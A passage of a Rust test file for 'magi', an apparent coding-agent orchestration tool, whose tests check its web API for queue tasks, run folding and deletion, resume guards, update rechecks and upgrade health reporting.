8944 rev_started, rev_finished,
8945 "and clearing it again must move the revision a second time"
8946 );
8947 }
8948
8949 #[tokio::test]
8950 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
8951 let fx = Fixture::start().await;
8956 let q = fx.queue();
8957
8958 let mut t = Task::new(
8959 "Task".to_owned(),
8960 "Instruction".to_owned(),
8961 PathBuf::from("/repo"),
8962 Source::Human,
8963 );
8964 t.block(
8965 vec!["20260101-000000-dead".to_owned()],
8966 Some("waiting on Task 1".to_owned()),
8967 );
8968 t.answers.push(crate::queue::AnsweredQuestion {
8969 question: "Which backend?".to_owned(),
8970 answer: "SQLite".to_owned(),
8971 });
8972 q.put(&mut t).expect("put t");
8973
8974 let res = fx.get("/api/queue").await;
8975 assert_eq!(res.status, 200);
8976 let list = res.json();
8977 let view = list
8978 .as_array()
8979 .expect("array")
8980 .iter()
8981 .find(|v| v["id"] == t.id)
8982 .expect("task in list");
8983 assert_eq!(view["status_str"], "blocked");
8984 assert_eq!(
8985 view["blocked_by"],
8986 serde_json::json!(["20260101-000000-dead"])
8987 );
8988 assert_eq!(view["block_reason"], "waiting on Task 1");
8989 assert_eq!(view["answers"][0]["question"], "Which backend?");
8990 assert_eq!(view["answers"][0]["answer"], "SQLite");
8991
8992 let res = fx
8996 .post(&format!("/api/queue/{}/hold", t.short()), None)
8997 .await;
8998 assert_eq!(res.status, 200);
8999 let held = res.json();
9000 assert_eq!(held["status_str"], "held");
9001 assert_eq!(held["blocked_by"], serde_json::json!([]));
9002 assert!(held["block_reason"].is_null());
9003 assert_eq!(held["answers"][0]["answer"], "SQLite");
9004 }
9005
9006 #[tokio::test]
9007 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9008 let fx = Fixture::start().await;
9009 let q = fx.queue();
9010 let mk = |title: &str| {
9011 Task::new(
9012 title.to_owned(),
9013 "Instruction".to_owned(),
9014 PathBuf::from("/repo"),
9015 Source::Human,
9016 )
9017 };
9018 let mut root = mk("root");
9019 root.hold_manual(Some("waiting".to_owned()));
9020 q.put(&mut root).unwrap();
9021 let mut mid = mk("mid");
9022 mid.block(vec![root.id.clone()], None);
9023 q.put(&mut mid).unwrap();
9024 let mut leaf = mk("leaf");
9025 leaf.block(vec![mid.id.clone()], None);
9026 q.put(&mut leaf).unwrap();
9027
9028 let list = fx.get("/api/queue").await.json();
9029 let find = |id: &str| {
9030 list.as_array()
9031 .unwrap()
9032 .iter()
9033 .find(|v| v["id"] == id)
9034 .unwrap()
9035 .clone()
9036 };
9037 let leaf_view = find(&leaf.id);
9038 assert_eq!(
9039 leaf_view["waits_on"],
9040 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9041 );
9042 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9043 assert_eq!(
9044 find(&mid.id)["waits_on"],
9045 serde_json::json!([format!("{} (held)", root.short())])
9046 );
9047 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9048 }
9049
9050 #[tokio::test]
9051 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9052 let fx = Fixture::start().await;
9053 let q = fx.queue();
9054
9055 let mut t1 = Task::new(
9057 "Task 1".to_owned(),
9058 "Instruction 1".to_owned(),
9059 PathBuf::from("/repo"),
9060 Source::Human,
9061 );
9062 let run_id = "20260901-000000-r111";
9063 t1.runs.push(run_id.to_owned());
9064 write_run(&fx.runs(), run_id, RunStatus::Merged);
9065 q.put(&mut t1).expect("put t1");
9066
9067 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9069 assert_eq!(res.status, 204);
9070 assert!(res.body.is_empty(), "204 No Content has no body");
9071 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9072 assert!(
9073 fx.runs().join(run_id).exists(),
9074 "run directory must not be deleted when its task is deleted"
9075 );
9076
9077 let mut t2 = Task::new(
9079 "Task 2".to_owned(),
9080 "Instruction 2".to_owned(),
9081 PathBuf::from("/repo"),
9082 Source::Human,
9083 );
9084 t2.status = TaskStatus::Running;
9085 q.put(&mut t2).expect("put t2");
9086 let mut beat = crate::daemon::Status::new();
9087 beat.current = vec![crate::daemon::Current {
9088 task: t2.id.clone(),
9089 run: "20260901-000000-r222".to_owned(),
9090 }];
9091 beat.updated_at = jiff::Timestamp::now();
9092 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9093 .expect("publish a heartbeat");
9094 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9095 assert_eq!(res.status, 409);
9096 assert!(
9097 res.json()["error"]
9098 .as_str()
9099 .unwrap()
9100 .contains("live daemon")
9101 );
9102 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9103
9104 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9110 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9111 .expect("leave a stale heartbeat");
9112 let mut t3 = Task::new(
9113 "Task 3".to_owned(),
9114 "Instruction 3".to_owned(),
9115 PathBuf::from("/repo"),
9116 Source::Human,
9117 );
9118 t3.status = TaskStatus::Running;
9119 q.put(&mut t3).expect("put t3");
9120 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9121 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9122 assert_eq!(res.status, 204);
9123 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9124 assert!(
9125 q.claim(&t3.id).is_ok(),
9126 "the stale lock went with it, so the id is claimable again"
9127 );
9128
9129 let res = fx.delete("/api/queue/nonexistent").await;
9131 assert_eq!(res.status, 404);
9132 }
9133
9134 #[tokio::test]
9135 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9136 let fx = Fixture::start().await;
9137 let runs = fx.runs();
9138
9139 let run_id = "20260901-000000-fold";
9141 let mut state = RunState::new(
9142 PathBuf::from("/repo"),
9143 "main".to_owned(),
9144 "abc".to_owned(),
9145 "instruction".to_owned(),
9146 Config::default(),
9147 );
9148 state.id = run_id.to_owned();
9149 state.status = RunStatus::Merged;
9150 state.candidates.push(crate::run::Candidate {
9151 index: 0,
9152 label: 'A',
9153 agent: "a".to_owned(),
9154 branch: "b".to_owned(),
9155 worktree: PathBuf::from("/w"),
9156 summary: String::new(),
9157 stat: String::new(),
9158 files: 1,
9159 commits: 1,
9160 empty: false,
9161 failed: None,
9162 verified_noop: None,
9163 duration_ms: 0,
9164 folded: true,
9165 });
9166 let dir = runs.join(run_id);
9167 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9168 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9169 .expect("write artifact");
9170 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9171 .expect("write run.json");
9172
9173 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9175 assert_eq!(res.status, 204);
9176 assert!(res.body.is_empty(), "204 has no body");
9177 assert!(!dir.exists(), "run directory and artifacts must be deleted");
9178
9179 let run_running = "20260901-000000-rung";
9184 write_run(&runs, run_running, RunStatus::Prep);
9185 let mut beat = crate::daemon::Status::new();
9186 beat.current = vec![crate::daemon::Current {
9187 task: "20260901-000000-task".to_owned(),
9188 run: run_running.to_owned(),
9189 }];
9190 beat.updated_at = jiff::Timestamp::now();
9191 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9192 .expect("publish a heartbeat");
9193 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9194 assert_eq!(res.status, 409);
9195 assert!(
9196 res.json()["error"]
9197 .as_str()
9198 .unwrap()
9199 .contains("live daemon"),
9200 "the refusal must say who is holding it"
9201 );
9202 assert!(
9203 runs.join(run_running).exists(),
9204 "a run in flight keeps its directory"
9205 );
9206
9207 let run_unfolded = "20260901-000000-unfd";
9209 let mut state2 = RunState::new(
9210 PathBuf::from("/repo"),
9211 "main".to_owned(),
9212 "abc".to_owned(),
9213 "instruction".to_owned(),
9214 Config::default(),
9215 );
9216 state2.id = run_unfolded.to_owned();
9217 state2.status = RunStatus::Ready;
9218 state2.candidates.push(crate::run::Candidate {
9219 index: 0,
9220 label: 'A',
9221 agent: "a".to_owned(),
9222 branch: "b".to_owned(),
9223 worktree: PathBuf::from("/w"),
9224 summary: String::new(),
9225 stat: String::new(),
9226 files: 1,
9227 commits: 1,
9228 empty: false,
9229 failed: None,
9230 verified_noop: None,
9231 duration_ms: 0,
9232 folded: false,
9233 });
9234 let dir2 = runs.join(run_unfolded);
9235 std::fs::create_dir_all(&dir2).expect("create dir2");
9236 std::fs::write(
9237 dir2.join("run.json"),
9238 serde_json::to_string(&state2).unwrap(),
9239 )
9240 .expect("write run.json");
9241
9242 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9243 assert_eq!(res.status, 409);
9244 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9245 assert!(dir2.exists(), "unfolded run directory is kept");
9246
9247 let res = fx.delete("/api/runs/nonexistent").await;
9249 assert_eq!(res.status, 404);
9250 }
9251
9252 #[test]
9261 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9262 let start = APP_JS
9263 .find("function renderStats() {")
9264 .expect("renderStats");
9265 let end = start
9266 + APP_JS[start..]
9267 .find("function statsTile(")
9268 .expect("the next top-level function");
9269 let body = &APP_JS[start..end];
9270
9271 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9272 let gate_end = gate_start
9273 + body[gate_start..]
9274 .find("}\n renderStatsQueue")
9275 .expect("the gate's own closing brace, right before the unconditional call");
9276 let gated = &body[gate_start..gate_end];
9277
9278 assert_eq!(
9279 body.matches("renderStatsQueue(").count(),
9280 1,
9281 "renderStats must call renderStatsQueue exactly once: {body}"
9282 );
9283 assert!(
9284 !gated.contains("renderStatsQueue"),
9285 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9286 run-derived panels on an empty run history - the queue panel has to render \
9287 regardless: {gated}"
9288 );
9289 }
9290
9291 #[test]
9292 fn web_ui_delete_contract_in_front_end() {
9293 assert!(APP_JS.contains("deleteRun:"));
9295 assert!(APP_JS.contains("deleteTask:"));
9296
9297 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9299 ..APP_JS.find("function renderRuns").unwrap()];
9300 assert!(!run_cards_slice.to_lowercase().contains("delete"));
9301
9302 assert!(APP_JS.contains("renderRunDelete"));
9304 assert!(APP_JS.contains("runDeleteReason"));
9305 assert!(APP_JS.contains("magi fold"));
9306 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9307
9308 assert!(APP_JS.contains("cancel.focus"));
9310 assert!(APP_JS.contains("armedRunDelete"));
9311 assert!(APP_JS.contains("armedDelete"));
9312
9313 assert!(APP_JS.contains("disabled: status === \"running\""));
9315 }
9316
9317 #[test]
9337 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9338 let build = APP_JS
9339 .find("function createRunCard")
9340 .expect("createRunCard exists");
9341 let update = APP_JS
9342 .find("function updateRunCard")
9343 .expect("updateRunCard exists");
9344 let end = APP_JS
9345 .find("function renderRuns")
9346 .expect("renderRuns exists");
9347
9348 let builder = &APP_JS[build..update];
9350 let open = builder.find("refs = {").expect("createRunCard sets refs");
9351 let literal = &builder[open + "refs = {".len()..];
9352 let close = literal.find('}').expect("the refs literal is closed");
9353 let published: HashSet<&str> = literal[..close]
9354 .split(',')
9355 .filter_map(|entry| entry.split(':').next())
9357 .map(str::trim)
9358 .filter(|name| !name.is_empty())
9359 .collect();
9360 assert!(
9361 published.len() > 5,
9362 "the refs literal did not parse into names: {published:?}"
9363 );
9364
9365 let mut used: Vec<&str> = Vec::new();
9368 let updaters = &APP_JS[update..end];
9369 for (at, _) in updaters.match_indices("r.") {
9370 let before = updaters[..at].chars().next_back();
9373 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9374 continue;
9375 }
9376 let rest = &updaters[at + 2..];
9377 let len = rest
9378 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9379 .unwrap_or(rest.len());
9380 if len > 0 {
9381 used.push(&rest[..len]);
9382 }
9383 }
9384 assert!(
9385 used.len() > 5,
9386 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9387 );
9388
9389 let missing: Vec<&str> = used
9390 .iter()
9391 .copied()
9392 .filter(|name| !published.contains(name))
9393 .collect();
9394 assert!(
9395 missing.is_empty(),
9396 "a run card's updater reaches for {missing:?}, which `createRunCard` \
9397 never put in `refs` - every card will throw and the list will \
9398 render empty under a count line that says otherwise. Published: \
9399 {published:?}"
9400 );
9401 }
9402
9403 #[tokio::test]
9404 async fn folding_from_the_phone_reports_what_it_removed() {
9405 let fx = Fixture::start().await;
9406 let runs = fx.runs();
9407
9408 let id = "20260901-000000-fold";
9412 write_run(&runs, id, RunStatus::Stalled);
9413 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9414 assert_eq!(res.status, 200);
9415 assert_eq!(res.json()["removed_count"], 0);
9416 assert_eq!(res.json()["run"], id);
9417 assert!(
9418 runs.join(id).exists(),
9419 "a fold keeps the run's record; only the worktrees go"
9420 );
9421 }
9422
9423 #[tokio::test]
9424 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9425 let fx = Fixture::start().await;
9426 let runs = fx.runs();
9427 let wt = fx.home.path().join("wt").join("magi").join("dead");
9428 let id = "20260901-000000-dead";
9429 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9430 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9431 std::fs::create_dir_all(&wt).expect("worktree dir");
9432
9433 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9434 assert_eq!(res.status, 200, "{}", res.body);
9435 assert!(
9436 res.json()["removed_count"].as_u64().unwrap() > 0,
9437 "the worktree this build could not read a state for still went"
9438 );
9439 assert!(
9440 !runs.join(id).exists(),
9441 "an unreadable run has no candidate list to fold selectively, so \
9442 the whole record goes - same as `magi fold` on the CLI"
9443 );
9444 }
9445
9446 #[tokio::test]
9447 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9448 let fx = Fixture::start().await;
9449 let runs = fx.runs();
9450 let wt = fx.home.path().join("wt").join("magi").join("gone");
9451 let id = "20260901-000000-gone";
9452 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9453 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9454 std::fs::create_dir_all(&wt).expect("worktree dir");
9455
9456 let res = fx.delete(&format!("/api/runs/{id}")).await;
9457 assert_eq!(res.status, 204, "{}", res.body);
9458 assert!(!runs.join(id).exists(), "the broken record is gone");
9459 assert!(!wt.exists(), "its worktree is gone too");
9460 }
9461
9462 #[tokio::test]
9463 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9464 let fx = Fixture::start().await;
9465 let runs = fx.runs();
9466 let id = "20260901-000000-live";
9467 write_run(&runs, id, RunStatus::Implementing);
9468
9469 let mut beat = crate::daemon::Status::new();
9470 beat.current = vec![crate::daemon::Current {
9471 task: "20260901-000000-task".to_owned(),
9472 run: id.to_owned(),
9473 }];
9474 beat.updated_at = jiff::Timestamp::now();
9475 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9476 .expect("publish a heartbeat");
9477
9478 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9479 assert_eq!(res.status, 409);
9480 assert!(
9481 res.json()["error"]
9482 .as_str()
9483 .unwrap()
9484 .contains("live daemon"),
9485 "folding under a running agent would pull its worktree away"
9486 );
9487 }
9488
9489 #[tokio::test]
9490 async fn fold_merged_requires_a_pr_url() {
9491 let fx = Fixture::start().await;
9492 let runs = fx.runs();
9493 let id = "20260901-000000-nourl";
9494 write_run(&runs, id, RunStatus::Blocked);
9495
9496 let res = fx
9497 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9498 .await;
9499 assert_eq!(res.status, 400, "{}", res.body);
9500
9501 let blank = fx
9502 .post(
9503 &format!("/api/runs/{id}/fold-merged"),
9504 Some(r#"{"pr_url":" "}"#),
9505 )
9506 .await;
9507 assert_eq!(blank.status, 400, "{}", blank.body);
9508 }
9509
9510 #[tokio::test]
9511 async fn fold_merged_is_404_for_an_unknown_run() {
9512 let fx = Fixture::start().await;
9513 let res = fx
9514 .post(
9515 "/api/runs/nosuchrun/fold-merged",
9516 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9517 )
9518 .await;
9519 assert_eq!(res.status, 404, "{}", res.body);
9520 }
9521
9522 #[tokio::test]
9523 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9524 let fx = Fixture::start().await;
9525 let runs = fx.runs();
9526 let id = "20260901-000000-livemerge";
9527 write_run(&runs, id, RunStatus::Blocked);
9528
9529 let mut beat = crate::daemon::Status::new();
9530 beat.current = vec![crate::daemon::Current {
9531 task: "20260901-000000-task".to_owned(),
9532 run: id.to_owned(),
9533 }];
9534 beat.updated_at = jiff::Timestamp::now();
9535 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9536 .expect("publish a heartbeat");
9537
9538 let res = fx
9539 .post(
9540 &format!("/api/runs/{id}/fold-merged"),
9541 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9542 )
9543 .await;
9544 assert_eq!(res.status, 409, "{}", res.body);
9545 assert!(
9546 res.json()["error"]
9547 .as_str()
9548 .unwrap()
9549 .contains("live daemon"),
9550 "correcting a run's merge underneath a running agent would race \
9551 whatever it is doing to the same `status`/`merge` fields"
9552 );
9553 }
9554
9555 #[tokio::test]
9560 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9561 let fx = Fixture::start().await;
9562 let runs = fx.runs();
9563 let id = "20260901-000000-unconfirmed";
9564 write_run(&runs, id, RunStatus::Blocked);
9565
9566 let res = fx
9567 .post(
9568 &format!("/api/runs/{id}/fold-merged"),
9569 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9570 )
9571 .await;
9572 assert_eq!(res.status, 400, "{}", res.body);
9573 assert_eq!(
9574 read_run(&runs, id).unwrap().status,
9575 RunStatus::Blocked,
9576 "a pull request that could not be confirmed merged must leave \
9577 the run exactly where it was"
9578 );
9579 }
9580
9581 #[tokio::test]
9582 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9583 let fx = Fixture::start().await;
9584 let runs = fx.runs();
9585
9586 for (status, word) in [
9592 (RunStatus::Merged, "merged"),
9593 (RunStatus::Ready, "ready"),
9594 (RunStatus::Failed, "failed"),
9595 ] {
9596 let id = format!("20260901-000000-{}", &word[..4]);
9597 write_run(&runs, &id, status);
9598 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9599 assert_eq!(res.status, 409, "{word} must not be resumable");
9600 let err = res.json()["error"].as_str().unwrap().to_owned();
9601 assert!(err.contains(word), "the refusal names the status: {err}");
9602 }
9603
9604 let mid = "20260901-000000-midf";
9609 write_run(&runs, mid, RunStatus::Reviewing);
9610 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9611 assert_eq!(res.status, 202, "an interrupted run is resumable");
9612 }
9613
9614 #[tokio::test]
9615 async fn resume_is_refused_while_the_loop_is_running() {
9616 let fx = Fixture::start().await;
9617 let runs = fx.runs();
9618 let stalled = "20260901-000000-stal";
9619 write_run(&runs, stalled, RunStatus::Stalled);
9620
9621 let mut beat = crate::daemon::Status::new();
9625 beat.current = vec![crate::daemon::Current {
9626 task: "20260901-000000-task".to_owned(),
9627 run: "20260901-000000-othr".to_owned(),
9628 }];
9629 beat.updated_at = jiff::Timestamp::now();
9630 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9631 .expect("publish a heartbeat");
9632
9633 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9634 assert_eq!(res.status, 409);
9635 let err = res.json()["error"].as_str().unwrap().to_owned();
9636 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9637 assert!(err.contains("stop it first"), "{err}");
9638 }
9639
9640 #[test]
9641 fn a_run_cannot_be_resumed_twice_at_once() {
9642 let home = TempDir::new().expect("temp home");
9643 let ui = Ui::new(
9644 Queue::at(home.path().join("queue")),
9645 Questions::at(home.path().join("questions")),
9646 Talks::at(home.path().join("talks")),
9647 home.path().join("runs"),
9648 home.path().to_path_buf(),
9649 PathBuf::from("/repo"),
9650 )
9651 .with_worktrees_root(home.path().join("wt"));
9652 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9653 let again = ui.begin_resume("20260901-000000-once");
9654 assert!(again.is_err(), "a second tap must not start a second graph");
9655 drop(first);
9656 assert!(
9657 ui.begin_resume("20260901-000000-once").is_ok(),
9658 "and the claim is released when the attempt ends"
9659 );
9660 }
9661
9662 #[test]
9663 fn talk_thinking_tracks_only_its_held_turn_claim() {
9664 let home = TempDir::new().expect("temp home");
9665 let ui = Ui::new(
9666 Queue::at(home.path().join("queue")),
9667 Questions::at(home.path().join("questions")),
9668 Talks::at(home.path().join("talks")),
9669 home.path().join("runs"),
9670 home.path().to_path_buf(),
9671 PathBuf::from("/repo"),
9672 )
9673 .with_worktrees_root(home.path().join("wt"));
9674 let id = "20260901-000000-once";
9675
9676 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9677 let turn = ui.begin_talk_turn(id).expect("claim turn");
9678 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9679 assert!(
9680 !ui.is_thinking("20260901-000000-other"),
9681 "one talk's turn does not make another talk busy"
9682 );
9683 drop(turn);
9684 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9685 }
9686
9687 #[tokio::test]
9688 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9689 let fx = Fixture::start().await;
9690 let mut beat = crate::daemon::Status::new();
9694 beat.pid = 4321;
9695 beat.updated_at = jiff::Timestamp::now();
9696 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9697 .expect("publish a heartbeat");
9698
9699 let res = fx.post("/api/upgrade", None).await;
9700 assert_eq!(res.status, 409);
9701 let err = res.json()["error"].as_str().unwrap().to_owned();
9702 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9703 assert!(err.contains("old one against the same queue"), "{err}");
9704 }
9705
9706 #[test]
9713 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9714 assert!(!should_spawn_recheck(&crate::config::Update {
9715 mode: UpdateMode::Off,
9716 interval: None,
9717 }));
9718
9719 unsafe {
9722 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9723 }
9724 let killed = should_spawn_recheck(&crate::config::Update {
9725 mode: UpdateMode::Notify,
9726 interval: None,
9727 });
9728 unsafe {
9729 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9730 }
9731 assert!(
9732 !killed,
9733 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9734 one-time startup check"
9735 );
9736
9737 assert!(should_spawn_recheck(&crate::config::Update {
9738 mode: UpdateMode::Notify,
9739 interval: None,
9740 }));
9741 }
9742
9743 #[test]
9749 fn recheck_poll_period_tracks_a_short_configured_interval() {
9750 let short = crate::config::Update {
9751 mode: UpdateMode::Notify,
9752 interval: Some("1m".to_owned()),
9753 };
9754 let period = recheck_poll_period(&short);
9755 assert!(
9756 period <= Duration::from_secs(30),
9757 "a one-minute interval must wake the task far sooner than the \
9758 default ceiling, or the deck would not notice within the \
9759 interval the operator configured: got {period:?}"
9760 );
9761
9762 let default = crate::config::Update {
9763 mode: UpdateMode::Notify,
9764 interval: None,
9765 };
9766 assert_eq!(
9767 recheck_poll_period(&default),
9768 UPDATE_RECHECK_POLL_MAX,
9769 "the default day-long interval should poll at the (capped) \
9770 ceiling rather than needlessly often"
9771 );
9772 }
9773
9774 #[test]
9782 fn recheck_skips_the_network_before_the_interval_elapses() {
9783 let dir = TempDir::new().expect("temp dir");
9784 let path = dir.path().join("state.json");
9785 let state = kaishin::UpdateCheckState {
9786 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9787 last_known_latest: None,
9788 last_known_url: None,
9789 };
9790 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9791
9792 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9793 assert!(
9794 !update_recheck_due(&checker, None),
9795 "a check made moments ago must not be repeated before the \
9796 configured interval elapses"
9797 );
9798 }
9799
9800 #[test]
9806 fn recheck_defers_to_an_upgrade_already_in_flight() {
9807 let dir = TempDir::new().expect("temp dir");
9808 let path = dir.path().join("state.json");
9809 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9810 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9811
9812 assert!(
9813 !update_recheck_due(&checker, Some(&progress)),
9814 "a recheck must not run while an upgrade this deck started is \
9815 still moving"
9816 );
9817 }
9818
9819 #[tokio::test]
9820 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9821 unsafe {
9833 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9834 }
9835 let fx = Fixture::start().await;
9836 let res = fx.post("/api/upgrade", None).await;
9837 unsafe {
9838 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9839 }
9840 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9841 let body = res.json();
9842 assert!(body["to"].is_null(), "there was no release to move to");
9843 assert!(body["parked"].is_null(), "and nothing was parked");
9844 assert!(
9845 body["detail"]
9846 .as_str()
9847 .unwrap()
9848 .contains("disabled by MAGI_NO_AUTOUPDATE"),
9849 "{body:?}"
9850 );
9851 }
9852
9853 #[tokio::test]
9854 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9855 let repo = TempDir::new().expect("repo dir");
9871 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9872 .expect("write magi.toml");
9873 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9874
9875 let res = fx.post("/api/upgrade", None).await;
9881 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9882 let body = res.json();
9883 assert!(body["to"].is_null(), "there was no release to move to");
9884 assert!(body["parked"].is_null(), "and nothing was parked");
9885 assert!(
9886 body["detail"]
9887 .as_str()
9888 .unwrap()
9889 .contains("nothing restarted"),
9890 "{body:?}"
9891 );
9892 }
9893
9894 #[tokio::test]
9895 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9896 let repo = TempDir::new().expect("repo dir");
9901 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9902 .expect("write magi.toml");
9903 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9904
9905 let health = fx.get("/api/health").await.json();
9906 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9907 assert_eq!(
9908 health["update"]["available"], false,
9909 "checking is off, which reads as \"unknown\", not \"none\""
9910 );
9911 assert!(health["update"]["to"].is_null());
9912 assert!(
9913 health["upgrade"].is_null(),
9914 "nothing has ever asked this deck to upgrade"
9915 );
9916 }
9917
9918 #[tokio::test]
9919 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9920 let fx = Fixture::start().await;
9921 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9922
9923 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9924 progress.parked_run = Some("20260905-000000-cd51".to_owned());
9925 progress.advance(crate::updater::Stage::Parking);
9926 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9927
9928 let health = fx.get("/api/health").await.json();
9929 assert_eq!(health["upgrade"]["stage"], "parking");
9930 assert_eq!(health["upgrade"]["from"], "0.5.1");
9931 assert_eq!(health["upgrade"]["to"], "0.5.2");
9932 let waiting_on = health["upgrade"]["waiting_on"]
9933 .as_str()
9934 .expect("waiting_on is set while parking a known run");
9935 assert!(waiting_on.contains("cd51"), "{waiting_on}");
9936 assert!(waiting_on.contains("implementing"), "{waiting_on}");
9937 }
9938
9939 #[tokio::test]
9940 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
9941 let fx = Fixture::start().await;
9942 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9943 progress.advance(crate::updater::Stage::Done);
9944 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9945
9946 let health = fx.get("/api/health").await.json();
9947 assert_eq!(health["upgrade"]["stage"], "done");
9948 assert!(
9949 health["upgrade"]["waiting_on"].is_null(),
9950 "nothing to wait on once it is done"
9951 );
9952 }
9953
9954 #[tokio::test]
9955 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
9956 let home = TempDir::new().expect("temp home");
9957 let runs = home.path().join("runs");
9958 std::fs::create_dir_all(&runs).expect("runs dir");
9959 let ui = Ui::new(
9960 Queue::at(home.path().join("queue")),
9961 Questions::at(home.path().join("questions")),
9962 Talks::at(home.path().join("talks")),
9963 runs,
9964 home.path().to_path_buf(),
9965 PathBuf::from("/repo/magi"),
9966 )
9967 .with_launch(launch_idle);
9968 let looping = ui.looping();
9969 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9970 .await
9971 .expect("bind loopback");
9972 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9973
9974 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9975 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
9976
9977 hand_over(home.path(), &looping, served, || Ok(()))
9978 .await
9979 .expect("hand over");
9980
9981 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
9982 assert_eq!(
9983 after.stage,
9984 crate::updater::Stage::Restarting,
9985 "hand_over owns the record through parking and up to restarting; \
